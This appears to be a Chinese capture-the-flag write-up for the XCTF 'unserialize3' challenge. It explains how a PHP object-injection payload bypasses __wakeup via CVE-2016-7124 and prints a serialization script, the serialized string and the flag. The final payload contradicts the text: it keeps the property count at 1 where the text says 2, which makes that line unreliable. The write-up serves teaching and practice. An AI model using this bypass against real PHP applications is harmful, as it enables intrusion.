题目直接显示网页源码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
解题思路
本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code。
而__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。对于本题,如果我们直接进行序列化,则会执行__wakeup()从而导致exit。因此我们需要根据漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的。编辑PHP脚本输出序列化的字符串:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
print(serialize($a));
?>
在PHP在线测试工具上进行验证:
PHP在线测试工具:https://www.it1352.com/Onlinetools/details/8
得到:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
构造payload
漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的
本题序列化字符串的标准格式:O:<类名的长度>:“<类名>”:<成员属性的个数>:{S:…这里我们将属性个数由1改为2进行绕过。
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
文章来源:https://www.toymoban.com/news/detail-719054.html
得到flag
cyberpeace{1741954fde5f0c1b3e7e67c043b5d704}文章来源地址https://www.toymoban.com/news/detail-719054.html
到了这里,关于【攻防世界-Web】unserialize3解题思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!